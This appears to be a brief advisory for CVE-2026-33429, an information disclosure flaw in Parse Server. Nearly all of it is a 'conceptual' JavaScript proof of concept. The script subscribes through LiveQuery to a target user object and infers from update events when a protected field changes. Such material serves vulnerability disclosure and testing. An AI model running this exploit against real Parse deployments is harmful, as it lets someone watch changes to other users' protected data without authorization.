CVE-2026-33429 Parse Server 信息泄露漏洞

// Conceptual PoC for CVE-2026-33429 // Demonstrates how to subscribe to a protected field and detect changes. const Parse = require('parse/node'); // Initialize Parse Client with public configuration Parse.initialize('YOUR_APP_ID', 'YOUR_JS_KEY'); Parse.serverURL = 'http://localhost:1337/parse'; async function monitorProtectedField() { // Create a query for the target class containing the protected field const query = new Parse.Query('User'); // Ideally target a specific user known to exist query.equalTo('objectId', 'TARGET_USER_ID'); try { // Subscribe to the LiveQuery channel const subscription = await query.subscribe(); console.log('[*] Listening for updates on protected field...'); // Listen for the 'update' event subscription.on('update', (object) => { // The protected field value is stripped from the payload here, // but the fact that this event fired indicates the field changed. console.log('[+] Update event received! The protected field likely changed state.'); console.log('[*] Object data (sanitized):', object.toJSON()); }); } catch (error) { console.error('[-] Subscription failed:', error); } } monitorProtectedField();